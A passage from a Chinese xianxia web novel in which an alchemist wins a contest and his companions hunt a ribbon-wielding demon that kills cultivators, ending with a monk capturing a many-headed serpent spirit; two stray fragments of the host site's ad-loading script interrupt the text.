锦盒里盛着一个水晶瓶,里头盛着一撮铁灰色的尘土,散发着淡淡的灵光,乃是天下丹修梦寐以求的神物。得了这宝物倒是一个意外之喜,步云邪把锦盒揣在了袖里,打算回去把自己的炼丹炉好好加持一番。 今日斗丹斗得酣畅淋漓,其他人喝够了茶,各自散了。打算再去外头的聚仙集上转一转,淘点有趣的小玩意儿。 一名侍女过来,行礼道:“步公子,扶乩说,玉蝉仙想见你。” 步云邪作为魁首,有资格入内向玉蝉仙上香。段星河等人在外头等着,步云邪缓步走进了内室。祠堂里暗沉沉的,长明灯的灯光微微跳动,显得更加幽暗。 他向棺中看了一眼,水晶棺材里躺着一具尸体,便是玉蝉仙的蝉蜕了。那具尸体露出的手指莹白如玉,仔细看来,他的皮肤表面包着一层薄薄的蜡质,难怪能数百年不腐。尸体穿着一件浅碧色绣金线的法袍,颈上戴着黄金嵌红宝石的璎珞,装饰极其繁复华丽。他脸上覆着个硕大的木质面具,看不清什么模样,只是站在面前,便能感到一股宁静的太阴之气。 这位玉蝉仙炼出了举世无双的丹药,据说拜他就能提高炼药的能力,对于丹修来说是极大的殊荣。步云邪不怎么信这个,不管怎么样,这毕竟是修真界的前辈。他点燃了三炷香,端正地拜了几拜,把香插进了香炉里。 他喃喃道:“求玉蝉仙保佑晚辈,能够炼出御龙长生丹。” 青烟笔直上升,侍女微微一笑,道:“恭喜公子,玉蝉仙答应你了。” 步云邪道了一声多谢,迈步走了出来。南宫秀在外间坐着,正在跟段星河交谈。他的态度和气,道:“为皇帝炼长生丹啊……这可不是个好办的差事,光青龙竭一味药就不好得,你们有什么打算?” 他张口就说出了方中的药材,段星河道:“前辈知道长生丹的方子?” 南宫秀淡淡道:“那方子已经是个公开的秘密了。不光我知道,凡是丹修应该都有所耳闻。” 段星河知道很多人都知道这个方子,但不知道他们是如何知道的。他道:“南宫家是丹修界的翘楚,试过炼此丹么?” “没试过,”南宫秀淡淡道,“材料太难收集了,除非有大机缘者方能成功。南宫家的先人能飞升靠的是太阴凝华丹,但其中一位药引也十分难得,所以百年来再无人成功。像我们这些资质凡庸之辈,还是得稳扎稳打,慢慢修炼才是长久之道。” 再问下去,便涉及人家的不传之秘了,段星河沉默下来。南宫秀怜悯地看着他们,觉得这些人外表春风得意风光无限,其实刀都架在脖子上。皇帝给的期限一到,这些人交不了差就要倒霉。他旁边站着一名添茶的年轻弟子,忍不住道:“实在不行就隐姓埋名赶紧跑路。山高皇帝远,他逮不到你们的。” 段星河虽然也这么盘算过,但跟外人交流这个还是不合适。他笑了一下,不置可否。南宫秀斥责道:“休得胡言乱语,人家忠于大幽皇帝,道心坚定,必然能够完成任务。你一个小孩儿瞎操什么心!” 那人便低下了头,惭愧道:“是,师父。” 众人只觉得这话里充满了讽刺,当初他们被关在采石场时是抓壮丁,被一脚踢出来干活也跟抓壮丁没什么区别,双方都没把对方当人,哪有什么忠诚可言。就连外人都知道他们这活儿根本办不到,撂挑子是迟早的事,还不如早点寻思跑路才是正经。 南宫秀看向了步云邪,道:“公子炼丹的本领这么高明,不知从师何人?” 步云邪道:“在下的开蒙师父是逍遥观的清风道长,后来又得到了慈心药庐主人的点拨,还在历练学习当中。” 南宫秀没听过这两个人,微微一笑道:“看来修真界卧虎藏龙,到处都有能人,我辈还是不能骄傲啊。” 他旁边的弟子道:“是。” 南宫秀道:“玉蝉仙对阁下炼的丹评价很高,说是难得的上品。老夫想买二十颗,日后给宗族子弟作为奖赏,每颗一百两白银,不知步公子意下如何?” 这种金丹对于他这种大能来说,虽然可有可无。但是对于正在修炼成长的后辈来说却十分珍贵,确实适合作为奖励。 二十颗金丹就是两千两白银,炼丹到了一定境界比炼金还赚。步云邪跟段星河对视了一眼,觉得有钱赚自然是好,这名望一来,财运也就跟着来了。 步云邪道:“承蒙南宫先生看重,晚辈自然愿意。只是我手头只有三颗金丹,现炼的话要等一个月。” 南宫秀微微一笑,道:“无妨,老头儿等得起。” 他从怀里掏出了三张银票,每张一百两,递过来道:“这是定金。” 段星河想了想,这老家主活了三百多年了,应该知道不少东西。他道:“前辈见多识广,在下有一事想问。” 南宫秀和气道:“但说无妨。” 段星河道:“我有个朋友,他中了虺神的诅咒,不知道有什么办法能够解除?” 南宫秀的目光注视着他,深沉里带着些疑惑,想探究他的这个朋友是不是他自己。段星河一副淡然的表情,仿佛只是随口一问。南 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宫秀缓缓道:“创世神下的诅咒,凡人是没办法解除的,除非能得到上界者的帮助,否则只能听天由命了。” 段星河的心中有些失望,控制着没表现出来。步云邪站了起来,道:“小雨她们应该等急了,咱们去找他们吧。” 另外几人也站了起来,与南宫秀告辞了,走了出去。 他们回到聚仙集,已经到了中午。修士们散了大半,魏小雨坐在一块大石头上,悠闲地晃着腿,手里拿着一包糖渍杏干儿吃着。她吃一个,喂给瓜皮一个,小对眼窝成一团在石头上晒着太阳,已经睡着了。 有修士过来看他们的灵兽,墨墨养的毛油光水滑的,眼睛里透着聪明,身上还长着一双黑色的翅膀,一看就是稀罕物。他们再看看旁边笼子里关着的小豹子,秃头秃脑的,就知道凑在一起打瞌睡,忍不住道:“什么三阶灵兽啊,还不如人家养的好呢。兄弟,你这从哪儿弄的?” 赵大海不想让人跟自己养一样的小崽儿,含糊道:“路上捡的。” 那人一副羡慕的表情,道:“哪儿捡的,我也捡一个去。” 赵大海道:“在大幽呢,它也是自己溜达过去的,赶巧了。” 那人摸了摸墨墨的翅膀,蹲下来看了它一会儿,喜欢的抓心挠肝的。他好一阵子才恋恋不舍地站起身,走远了还跟身边的人道:“有空咱们也逮一个去,说不定也有这么好的运气呢。” 宋胡缨和司空玉等人站在旁边,正等的有些无聊,忽然眼睛亮了起来,道:“来了,那边呢。” 段星河走了过来,随手把墨墨抱了起来,捋着毛道:“玩的怎么样?” 司空玉淘了几个玉石小件儿,打算找个古董店卖出去,失望地说:“这儿没什么好东西,白激动了一场,还不如瓜皮肚子里的存货好呢。” 赵大海打了个呵欠,道:“吃饭去吧,肚子饿了。” 一群人一起往外走去,伏顺道:“哥,斗丹好玩么,这里的人是不是很厉害?” “一般般吧,”段星河轻描淡写地说,“阿云拿了第一。” 在南宫家的斗丹大会上夺得魁首,名声很快就会传出去,步云邪作为丹修也就崭露头角了。众人都很惊讶,转头看着步云邪,虽然早就知道他炼丹的本领极强,但没想到厉害到这个地步。步云邪淡然道:“运气好,今年没什么大人物来。” 李玉真道:“别这么谦虚嘛,就算是捡漏,换成我我也不行啊。” 聚仙集里人头攒动,一个浅青色的身影从远处翩然而过,瓜子脸白生生的,段星河依稀在人群中看到了那个叫阿萝的少年。今天人多,他来凑热闹也不奇怪。到处都人挤人的,段星河没看清楚,再回头的时候就没影儿了。 几个人出了南宫家大门,段星河想着刚才南宫秀的话,在大幽长生丹还算是不传之秘,就算知道也不会轻易讨论。到了夷州,各大宗门的修士似乎都对此相当了解。他道:“他们怎么都这么清楚长生丹的事?” 刘通玄想了想,道:“我听说长生丹最早是一位有天赋的大能炼成的,后来他飞升成仙,方子辗转换了几个主人,最后公开它的就是南宫家。” 众人都是一诧,却不知道南宫家为什么要公开这么宝贵的方子。段星河生出了兴趣,道:“具体怎么回事?” 刘通玄摇了摇头,道:“三百年前的事了,我也不清楚。” 大街上人来人往的,几个北邙山的弟子从旁边经过,一个年轻人低声道:“他们供奉的那具蝉蜕邪门得很,我看根本就没有玉蝉仙这种东西,净拿着一具尸体唬人。” 另外一人小声道:“还在人家地盘上呢,别瞎说。” 那人不服气道:“我又没说错,要不是打着他家有人飞升的旗号,这丹修界第一能轮得到南宫家?” 那几个人说着话走远了,段星河觉得那玉蝉仙确实挺邪乎的。他道:“阿云,刚才你进去,见玉蝉仙长什么样?” 步云邪沉吟道:“身体僵了,脸上戴着面具,看不出来。” 段星河有点失望,道:“就剩一具蝉蜕了,还挡脸?” 刘通玄道:“这个是有缘故的,玉蝉仙服用的太阴凝华丹汇聚了太阴之力,让他的容貌变得极其阴柔秀美。之前就有不孝子弟看到了他的脸,生出了亵渎之心,趁夜摸到棺材跟前,被人发现乱棍打死了。那以后南宫秀就给蝉蜕戴上了面具,防止再被人惦记。” 众人都极其诧异,能让一个人连命都不要了也要去犯忌,那得有多美才这么吸引人? 月黑风高的夜晚,一个年轻人偷偷潜进去,要对尸体行不轨之事。李玉真一想那情形就觉得恶心,又有点毛骨悚然,道:“那人该不会是有特殊癖好吧,不喜欢活人,就喜欢这种刺激的。” “这就不知道了,”刘通玄道,“我也是道听途说,都是很久之前的事了。” 关于玉蝉仙的各种传说层出不穷,把南宫家烘托得就像云里的月亮,越朦胧就越吸引人。方才那几个北邙山的弟子说的也没错,那具蝉蜕就是活人造的神。真正的那个人飞升了没有不知道,反正这具蝉蜕让他们在修真界占据了一席之地,只要维护住这个传说,南宫家就能一直屹立不倒了。 天色暗下来,两个人从酒肆里出来,跌跌撞撞地在路上走着。那两人一个高瘦,一个粗壮,穿着青色的道袍,一个手里拿着个黄铜罗盘,一个腰里挎着一口大刀,却是风散人与雷散人。城里有宵禁,但是对修士睁一只眼闭一只眼,据说从前城里出了不少人命,一入夜阴森得很。官老爷想得开,夜里有和尚道士在外抓鬼,反而比官差更靠谱一些,就当是放壁虎抓蚊子了。 风散人白天也去南宫家凑了一趟热闹,虽然没能参与斗丹,但在外头的聚仙集上逛了一圈,遇见了不少从前的老朋友,互相吹捧几句,相邀去酒肆里喝了几杯,不知不觉就到了这个时候。 街上的灯笼红幽幽的,在风里不住飘荡。两个人都喝的醉醺醺的,打个嗝都是冲头的酒肉气。风散人想着刚才在酒桌上跟人聊天时,听说今年斗丹大会胜出的是个从钦天监来的毛头小子。他越想越不服气,道:“我是没接着请帖,要是南宫老头儿邀请我,老子非让他们知道老子的实力!” 雷散人哈哈一笑,道:“那他为什么没邀请你,前几天你还专门搂着卦招子在他门前晃悠,人家理你了吗?” 风散人悻悻道:“他们有眼不识金香玉,老子也不屑跟他们为伍……早晚有一天,老子拔得了头筹,也进去亲眼见见玉蝉仙长什么样。” 雷散人砸了咂嘴,道:“听说那玉蝉仙长得极美,让人看一眼就忘不了。他都成仙了,要是能吃他一块肉,是不是就能长生不老了?” 风散人露出一副嫌恶的表情,扭头看他道:“连僵尸都想吃,你有病啊?” 雷散人一向混不吝,道:“那有什么不行的,我都不嫌他肉老塞牙,能飞升就值了。” 两人摇摇晃晃地走着,忽然一道黑影笼罩了他们,一瞬间无数金色的飘带飞出来,向他们缠了过来。风散人没防备被捆住了腰,身体被飘带提了起来。他吓了一跳,放声大喊起来:“谁,放开老子——老雷,快帮忙!” 雷散人回头望见那情形,陡然出了一身冷汗,醉意顿时散了。他大吼一声,跳起来拉住了风散人,用力撕扯他身上的飘带。 那飘带不知道是什么制成的,根本扯不断,反而越缠越紧。雷散人伸手要拔腰间的刀,丝带一圈圈地缠住了他的手腕,那股力量至阴至柔,却又强大的让人无法抗衡。雷散人的眼都红了,却抵不过它的力量,粗大的手被勒的渐渐张开,攥着的刀当啷一声落在了地上。 “呜……嗬嗬……” 月光静静地照下来,风散人的脖子被勒住了,凸着眼蹬着腿,嘴角冒出了血沫子,已经使不上劲儿了。慌乱中,雷散人的一条腿也被缠住了。丝带把他拖倒在地,无视两人的挣扎反抗,把他们拖进了深邃的黑暗中。 74.玉蝉仙 三 天还未亮,大街上弥漫着白雾,远处传来一阵凄厉的惨叫声。 “杀人了——有人死了——” 临街的民居二楼,有人打开窗户向外望去。到处一片白茫茫的,什么也看不清。一个更夫跌跌撞撞地跑过来,一路嘶声喊着:“快,快报官,有人死了!” 官兵急匆匆地赶来了,周围已经围了不少看热闹的人。两个道士躺在地上,身上有不少勒痕,肉身几乎都被绳子状的东西绞碎了,身体又干又瘪,一看就是被吸干了精气。那两人眼睛大睁着,恐惧的神色凝聚在脸上。没人知道他们临死之前见到了什么,但看这个情形,必然是极可怕的。 段星河和伏顺也凑了过来,站在外圈往里一看,吃了一惊,却见死的是前阵子在歌楼撒野的风散人和雷散人。当时见他俩耀武扬威的,起码能没病没灾地活个三五十年,没想到这就归位了。 百姓们低声议论着,有人道:“该不会又有恶鬼出来索命了吧……” 另一人道:“最近外头来的道士多,一个个都有几十年道行,跟满地走的人参娃娃似的,鬼见了能不眼馋吗。” 又一人道:“每回斗丹大会都整这一出,南宫家年年提醒,还是年年有人死。这么久了,那妖物还没抓到么?” 伏顺忍不住嘲道:“死的就是道士,指望谁能管事啊,官府吗?” 官兵听见百姓们冷嘲热讽的,扭头喊道:“谁,再给老子说一遍!” 一时间鸦雀无声,伏顺假装什么事都没发生,其他人也不敢多嘴了。捕快不耐烦道:“散散散,都散了,死人有什么好看的!” 官差把百姓们赶开了,几个人把尸体放在担架上,打算抬走。一人急匆匆地跑过来,低声道:“前头巷子里还有一个。” 捕快的脸色十分难看,道:“你们几个,跟我去看看。” 他一摆手,带人急匆匆地走了。段星河看着地上干涸的血迹,皱起了眉头。最近城里的大能不少,那妖物敢在此时作祟,也是嚣张得很了。 他和伏顺买了早饭,拿回客栈。这时候就见官兵们抬着个担架急匆匆地冲进了对面的医馆,一人大声道:“有没有郎中,快看看,这人就剩一口气了!” 那几个人从段星河身边擦肩而过,他定睛一看,却见担架上躺的人是刘通玄。刘叔已经昏过去了,脸色惨白,身上满是鲜血和一道道红色的勒痕。段星河大吃一惊,连忙跟着那一队人进了医馆,一边对伏顺道:“快,去把阿云叫过来!” 几个郎中围了过来,见了刘通玄受伤的情形,都倒抽了一口气。 郎中摸了他的脉搏,感觉十分微弱。把他的衣裳解开,见他身上布满了勒痕,像被绳子捆过似的,连忙拿来了金疮药给他敷上。步云邪带着赵大海急匆匆地赶过来,道:“让我看看,我也是医生。” 最近城里来了不少修道者,卧虎藏龙,郎中们不敢小瞧他,让他检视了刘通玄的情况。外伤处理的差不多了,他内里元气亏损严重,已经命悬一线了。 步云邪从怀里掏出一颗九转回阳丹,撬开他的牙关喂了下去。此药能够激发人潜藏的阳气,有起死回生之效。一会儿功夫,药力起了效果,刘通玄的身体微微一震,仿佛又在梦里经历了一次昨晚的痛苦。他骤然睁开眼,满脸都是恐惧之色,哑声道:“别过来……别过来!” 他极度虚弱,出了一头冷汗,伸着手向上乱抓,仿佛要扯开勒紧他喉咙的东西。段星河攥住了他的手,安慰道:“没事了,刘叔,你别怕。” 刘通玄见天亮了,周围都是人,这才松了口气。他喃喃道:“我在哪儿?” 段星河道:“在医馆,你怎么会受伤的?” 刘通玄想起昨天夜里的情形,下意识打了个寒战,道:“我跟一个老朋友遇上了,在外头喝茶聊天,回来得晚了一些。经过前头的大街时,不知从哪里飞出了许多飘带,缠在我身上,把我的灵力都吸走了。它本来要勒死我,后来听见有人说话的声音,那妖魔怕被发现,就扔下我消失了。” 他下意识一摸气海,感觉空空如也,几十年的修为毁于一旦。他悲从中来,忍不老泪纵横,道:“老道我一辈子没做过什么坏事,为什么这么害我,这样还不如杀了我呢……” 众人都叹了口气,想着风散人和雷散人都已经死了,他能保全性命已经是老天保佑了。段星河道:“你见那妖物长什么样了么?” 刘通玄咳嗽了一阵子,摇头道:“我只看到许多飘带,像茧子似的把我裹了起来。那些鬼东西是从一团黑影里伸出来的,看不出模样来。” 众人都一筹莫展,官差们更是无计可施。刘叔还很虚弱,需要休养。步云邪道:“接回客栈去吧,我来照顾他。” 伏顺和赵大海便借了个担架,把刘通玄抬了回去。段星河看着刘叔苍白的脸庞,很是愤怒。他们跟刘叔在大幽采石场就认识了,一起蹲过大牢,凿过石头挨过打,算是患难之交。他是个老好人,认识他的没有一个说过他不是,这样的一个人,应该好好地活个一百来岁,就算不成仙,也不该遭这样的罪。 段星河越想越气,觉得这事不能就这么算了。他来到走廊上,胸膛一起一伏的,脸色很难看。伏顺跟了出来,劝道:“哥,别气了。刘叔起码还活着呢,比起那两个人也算是福大命大了。” 段星河皱眉道:“今天晚上我出去转一圈。那玩意儿要是敢来找我,我就把它的头扭下来!” 伏顺啊了一声,有点害怕。刘叔那么多年修为都打不过,一般人去了肯定也是白给。段星河道:“你留下来照看他吧,我和阿云去。” 伏顺松了口气,又有点内疚,道:“那你一定小心啊。” 段星河没说什么,寻思着刘叔平生没得罪过什么人,但那风散人和雷散人的脾气嚣张,肯定结了不少仇家。他蓦然想起了那天在歌楼喝酒的绿衣少年,他天天在街上算命,或许知道些什么。 太阳高照,大街上已经清理干净了。官差把一张硕大的告示贴在了公告牌上,旁边围了一圈百姓。有人道:“说了什么?” 一个秀才道:“通缉令,夜里死了两个道士,官府征集线索,有勇士能抓捕犯人的,给二百两赏银。” 众人唏嘘了一阵子,赏金虽然不低,但一般人也没本事挣这个钱。据说那两个人死的极惨,是邪祟作怪。就连官府都拿它没办法,老百姓谁敢冒这个险。 大家都人心惶惶,有老人道:“晚上关门闭户,千万别出来了。” 一个小伙子道:“城里最近有这么多修道的人,它居然也敢出来,也太嚣张了。” 一个中年妇人道:“就是城里修道的人多,那妖怪才出来抢夺修为,一般人它还看不入眼呢。” 大家都有些害怕,那老人道:“那怎么办,还没人能管得了了?” 人群中一个男子道:“我小舅子在县衙里,说太守去城郊大悲寺了,说不定就是去求神拜佛了。” 百姓们有的摇头,有的担心,议论纷纷的。段星河从旁边经过,驻足看了一会儿,便离开了。 大街上人来人往的,十分热闹。段星河长得高,老远就看见那个绿衣少年搂着个卦招子,在一座小桥边站着。今天他没喝花酒,正在一本正经地给人算命。 一名大婶拿着女儿的八字过来,让他给算算闺女什么时候能找个好人家。阿萝道:“今年下半年就动婚运了,往城西找,肯定能找到个年貌相当,对她又好的丈夫。” 大婶被他哄得十分高兴,付了三钱银子走了。阿萝把钱揣进了腰包里,开心地拍了拍,忽然见一道阴影笼罩了自己。他抬起头来,段星河道:“小兄弟,又见面了。” 阿萝道:“咦,你怎么来了。” 段星河道:“路过,生意挺好的?” “还行吧,”阿萝的神色有点提防,捂着荷包道,“哎你不是来找我要钱的吧,上回你可是自愿给我付酒钱的,我不会还你啊。” 段星河笑了,道:“你想哪去了,我就是路过打个招呼。昨天夜里死人的事,你听说了么?” “听说了,”阿萝道,“闹那么大,这街上谁不知道啊。” 他的神色淡淡的,好像没什么感觉。段星河靠在桥边,闲聊似的道:“你怎么看?” 阿萝笑呵呵地说:“好事啊,谁让他们排挤我呢。他们这一死,我生意都好多了。” 他的话虽然刻薄,却又幸灾乐祸的十分坦然,没什么心虚的意思。 阳光照下来,阿萝被寒风吹着,脸显得越发苍白,又莫名有种虚无感。他还是个少年,身材单薄瘦弱,不可能害得了好几个成年男人。段星河觉得自己想太多了,总不能就因为他们之间发生过口角就随便怀疑人。阿萝却道:“问这么多干什么,你想帮他们出头啊?” “不为他俩,”段星河道,“我有个叔伯,昨天夜里被怪物袭击受了重伤,我想帮他出口气。” 阿萝笑了起来,后背靠在了石桥的栏杆上,道:“那你可千万小心,听说那鬼怪凶得很,你可别不小心把自己搭上了。” 段星河这一路见多了妖魔鬼怪,道:“你在这里待得久,知道什么线索么?” 阿萝想了想,道:“这城里死过很多人,女子的怨气尤重,说不定他们就是被女鬼害死了。” 段星河一诧,道:“怎么死的?” 阿萝的声音沉了下去,道:“战争,几百年前这里被屠了半个城,遍地尸体。城郊的大悲寺就是为了安抚逝者的灵魂建造的,后头园子里满是浮屠,一个个跟笋尖儿似的,埋的全是不知名的骨灰。” 无论什么时候,战争中最惨的都是百姓。段星河有些唏嘘,想了想道:“帮我算一卦吧,看看能不能找到它。” 阿萝笑了,道:“今天收摊啦,不算了。” 这才刚到中午,他居然就要跑路。段星河以为他又要去喝花酒,道:“为什么不算?” 阿萝抬眼望着远处,道:“城东的大谶语师要出关了,我这一点萤烛之光岂可与日月争辉,等他闭关了我再出来干活儿。” 他说着摆了摆手,一搂卦招子就走了。段星河看着阿萝的背影,觉得这人性情飘飘忽忽的,莫名让他有些在意,却又说不上为什么来。 段星河回客栈歇了一会儿,养足了精神。傍晚天色渐渐暗了,他在门外等了一会儿,步云邪和李玉真便一起出来了。段星河拍了拍腰间的幽冥剑,道:“走吧。” 前天夜里死了人,此时大街上空荡荡的,幽红的灯光把几人的身影拖得又斜又长。步云邪没想自己有一天还会出来跟他巡夜,这回连个马甲都没有,越混越倒退了。 段星河道:“冷么?” 步云邪道:“没事,穿的厚着呢。” 李玉真双手抱着臂,感觉自己跟多余的似的,道:“怎么没人问我冷不冷?” 步云邪便笑了,道:“冷么,李兄?大晚上的出来辛苦么?” 李玉真终于有机会说这句话了,挺起了胸膛道:“不冷,身为道家弟子,斩妖除魔保护百姓,乃是分内之事。” 段星河掰了掰手指,道:“好久没抓妖了,出来练练手。遇上了不用客气,往死里揍。” 三个人往前走了一阵子,感觉路边有点阴气。李玉真凝神观想,发现阴气是从地底下冒出来的。他蹲下来拍了拍地面,旁边有一棵粗壮的大榆树,长得比一般的树都精神。李玉真道:“该不会是吸收了什么肥料长这么大的吧。” 一阵寒风吹来,三个人都觉得有点冷。这里以前死了不少人,有的骨灰被埋在了城外,有的就近埋在了城里,地底下不知道什么地方就聚集着灵体。李玉真把手按在树根旁边的泥土里,将一点灵力注入进去,就听风里传来一阵低低的哭泣声。李玉真专注地净化了片刻,终于安静下来了。 他长舒了一口气,道:“行了。” 三个人往前走去,那棵大榆树窸窸窣窣的,阴影里伸出了几条藤蔓似的触须,朝他们缠了过来。段星河的反应极快,幽冥剑锵地一声出了鞘,把那几条藤蔓斩落在地。 藤蔓落在地上还不住扭动,像活蛇一样。那个黑色的影子也像蛇一样,悄然从榆树上爬下来,消失在黑暗深处了。三人感觉那妖物一闪而逝,仿佛要试试他们的本领似的,一击不中就藏起来了。 步云邪微微皱眉,道:“还挺狡猾的。” 段星河道:“再找找吧,它走不远的。” 三个人往前走了一阵子,净化了几处有邪气的地方。城里不像他们想象的那么糟糕,好像已经有人出面清理了。 “你们看。”步云邪忽然停下了脚步,指着前方。 远远地就见前头街上有两个道士的身影一闪而逝,却是前阵子他们在郊外见过的那两个蜀山的剑仙。 段星河明白过来了,难怪妖物都不见了,原来是有人抢到他们前头去了。 这地方虽然妖魔横行,好在也有不少正义之士斩妖除魔,维护着正道。那两位剑仙的本领虽然高强,但段星河想亲自抓到那个妖魔,不愿就这么放弃。三个人巡了大半个晚上,清理了不少小妖,天明时分才回到客栈。 李玉真的葫芦装的满满的,高兴地拍了拍,道:“这种没形的魂魄关在里头一时三刻就能净化成玄阴之力,拿来炼丹最好不过了。这是咱们仨一起打的,净化完了分给你们。” 三个人回客栈歇了一天,次日晚上照旧出来巡夜。如此过了两日,白天再出门时,感觉周围清净多了,没有了一开始那种凄迷惨淡的气息。 到了第三天傍晚,三个人出了客栈。魏小雨心里好奇得很,从二楼的窗户里探出头来,看了他们一阵子,道:“他们要抓妖去么?” 墨墨蹲在旁边,歪了歪脑袋。魏小雨是个闲不住的性子,道:“走,咱们也看看去。” 她从窗台上跳下来,穿上鞋就往外跑。墨墨生怕她会有危险,一口咬住了她的衣领,用力把她往回拖。魏小雨哈哈一笑,把领子从它嘴里拽了出来,道:“别拉我,你不去我自己走了!” 墨墨拦不住她,只好拍着翅膀跟了上去。 几个人往前走 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一阵子,寻思着小妖都清理的差不多了,只是不知道害刘叔的那个家伙有没有伏诛。段星河道:“是不是被蜀山的人逮去了?” 步云邪觉得有这种可能,昨天清理到天明时分,城里已经很干净了。此时一抬头,月亮周围又笼罩着一层红雾,好像有什么东西悄无声息地滋生了出来。 李玉真皱起了眉头,道:“真是没完没了,跟苍蝇似的,轰走一批又来一批。” 正说着话,忽然听见身后传来一阵轻轻的脚步声,段星河回过头去,见街上空无一人。旁边的弄堂里,露出了一个红绳绑着的小揪揪。他大步走过去,叱道:“出来!” 魏小雨被他扯了出来,慌张道:“大师兄,别拽别拽,我不躲了。” 这熊孩子一会儿看不住就要作妖,段星河道:“谁让你来的?” 墨墨飞在旁边,一副倒霉的模样陪着她挨训。魏小雨道:“我听说你们要抓妖,就想来看看。” 段星河道:“刘叔都受伤了,你还来凑热闹,赶紧回去!” 魏小雨扭头看了一眼,到处一片黑黢黢的。她理直气壮地说:“我不,我害怕。” 她刚才偷偷跟来不嫌害怕,此时却怕起来了。客栈在前头的街上,段星河要把她送回去就耽误工夫。魏小雨扯着他的衣袖晃了晃,道:“大师兄,你就让我跟着吧。我的灵力强,不会给你添乱的。” 她的灵力确实强大,万一遇上妖魔,就算打不过也能自保。李玉真走了过来,道:“算了,带上她吧。” 段星河皱了皱眉头,没再说什么,一摆手示意跟上。魏小雨嘻嘻一笑,道:“多谢大师兄,我就知道你最好了。” 一群人往前走了一阵子,昨天他们在城西的一座荒宅后头发现了几块墓碑,周围似乎有些阴气。当时天快亮了,李玉真便施了个法咒,先把坟墓周围封了起来。此时众人往那边走去,打算先把宅子净化了。 几人走到街口,就见前头来了一队巡逻的官兵。两边前几天已经见过了,捕头举起灯来一照,见是从大幽来的道士。这些当差的半夜出来也害怕,有他们在,自己这些凡夫俗子还能安全一些,捕头道:“小心一点。” 段星河道:“多谢。” 正说着话,前头忽然一道阴气冲天而起,正是那个荒宅的方向。李玉真大吃一惊,道:“那个宅子,快去!” 一群人冲了过去,就见那间院子的地上裂了道大口子。一条绳子一样的东西歪歪扭扭地从地里钻了出来,上头像谷穗一样长满了圆圆的东西,却是一个个女人的头颅,最顶端还有一个格外大的脑袋,有井口那么大,青灰色的皮肤上生满了青苔和裂纹。 它听见声音朝这边回过头来,几十个脑袋齐齐转动,眼睛咕噜噜乱转,就算最可怕的噩梦也难以梦到那么骇人的情形。 李玉真倒抽了一口凉气,道:“这是什么鬼!” 步云邪喃喃道:“怨蛇……这是死去的阴灵聚集在一起生成的怪物。” 捕快们提着灯笼冲过来,看清了那怪物的模样,吓得惨叫一声,连滚带爬地往后逃去。其他官兵跑的比他还快,一眨眼功夫就都没影了。 段星河非但不怕,反而露出了兴奋的神色,道:“等了好几天,终于出来了。” 有人比他们来的更早。那妖物对面站着一个穿铁灰色衣袍的大和尚,他大约四十出头年纪,左手拿着个金钵,右手拿着个九环铜法杖,身材魁梧,手臂上的肌肉饱满。他眉心一点卍字金光大亮,神情威武,喝道:“大胆妖孽,你作恶多端,还敢顽抗,看我不收了你——” 那妖魔的几十个脑袋纷纷露出了讥诮的笑容,咯咯直笑,仿佛觉得他不能把自己怎么样。 段星河拔出剑来,恨声道:“害刘叔的就是你?” 那怪物发出了一声长长的嚎叫,就在下一刻,脑袋之间伸出了几十条绿色的藤蔓,朝他们缠了过来。段星河拔剑斩断了几根藤子,藤蔓的断口冒出了绿色的汁液,像流血一样喷的到处都是。 步云邪使出了金光咒,灵光困住了怨蛇的半截身体。段星河提剑要砍过去,那妖物顶端的头颅忽然伸了出来,朝魏小雨一口咬了过去! 那情形实在太吓人了,魏小雨尖叫一声,身上骤然爆发出了大量的灵力,猛地震开了它。段星河出了一身冷汗,幸亏她先天灵力强大。那怪物倒在地上,像条蛇一样扭动着要爬起来。那大和尚提起禅杖重重地插住了它的尾部,怨蛇疼的猛地一弹,浑身痉挛着,身上的几十个脑袋一起嚎叫起来。 “嗷嗷嗷嗷嗷嗷——” 它身上的头颅表情狰狞,奇怪的是每个头颅的眉心都缺了一块皮肉,露着一个不规则的黑洞,最大的那个头颅也不例外。大和尚举起金钵,一道金光放出来,喝道:“还不伏诛——” 怨蛇的身体骤然缩的只有巴掌大小,被收入了金钵之中。 金光淡去,大和尚的神色庄严,道:“阿弥陀佛,善哉善哉。” 众人印象中的和尚都是慈眉善目的一把年纪,这位大和尚正在壮年,如同佛祖座前的伏虎罗汉,让人望而生畏。他转过身来,看着段星河等人,道:“几位施主,你们也是来降妖的么?” 段星河觉得这大和尚眼熟,一时间想不起来在哪里见过。魏小雨从地上爬了起来,睁大了眼睛看他,忽然道:“啊,我在凤来城见过你!” 段星河想起来了,先前浩荡盟审判小雨的时候,不少正道上的人去旁听,这位大和尚就在其中。他虽然生的五大三粗的,但心地慈悲,还替魏小雨说过几句公道话,可惜当时没人肯听他的。大和尚也认出了她,温和道:“小朋友,你没事了。” 魏小雨拍去了身上的土,露出笑容道:“我没事了,大师,那天多谢你帮我说话。” 大和尚微微一笑,道:“应该的,你没事就好。” 这人豁达豪爽,不拘泥于正邪之分,真遇上危险又能挺身而出,是条好汉子。段星河对他生出了钦佩之心,道:“在下钦天监段星河,游历至此,敢问大师在哪处宝刹修行?” 大和尚道:“贫僧在城郊大悲寺修行,法号瀚海。听说最近城里不太平,便来降妖。几位也是来除妖的么?” 段星河道:“惭愧,这宅子里的符咒就是我等留下的,本来想今天夜里再来处理,没想到来迟了一步。” 大师道:“难怪,我方才感到一股邪气与正气交战,进来一看,见地面已经裂开了。仓促出手,并非有意跟诸位争功。” 段星河道:“大师这是哪里的话,这妖魔祸害百姓,人人得而诛之,谁除了它都是一样的。” 修真界不少人抓妖炼丹,为了一个妖物抢的头破血流。段星河这么大度,那大和尚松了口气。周围寒风刺骨,不知何时飘起了雪花。墨墨抬起了鼻子,碰了碰雪,感觉凉冰冰的,哧地打了个喷嚏。 瀚海大师道:“天气寒冷,贫僧在城中有个落脚的地方,几位要不要来烤一烤火?” 段星河跟其他几人看了一眼,觉得去坐一坐也好,便道:“那就叨扰了。” 75.玉蝉仙 四 城中有不少人虔信佛教,有善信居士听说瀚海大师要夜里捉妖,专门腾了间屋子给他住。瀚海大师来到一间民房前敲了敲,狗汪汪地叫了起来。主人披着衣裳出来,低声道:“嘘,别把邻居吵醒了。” 门开了道缝,瀚海大师道:“我带了几个道友来。” 主人家乐善好施,对修行之人都很欢迎,道:“无妨,请进吧。” 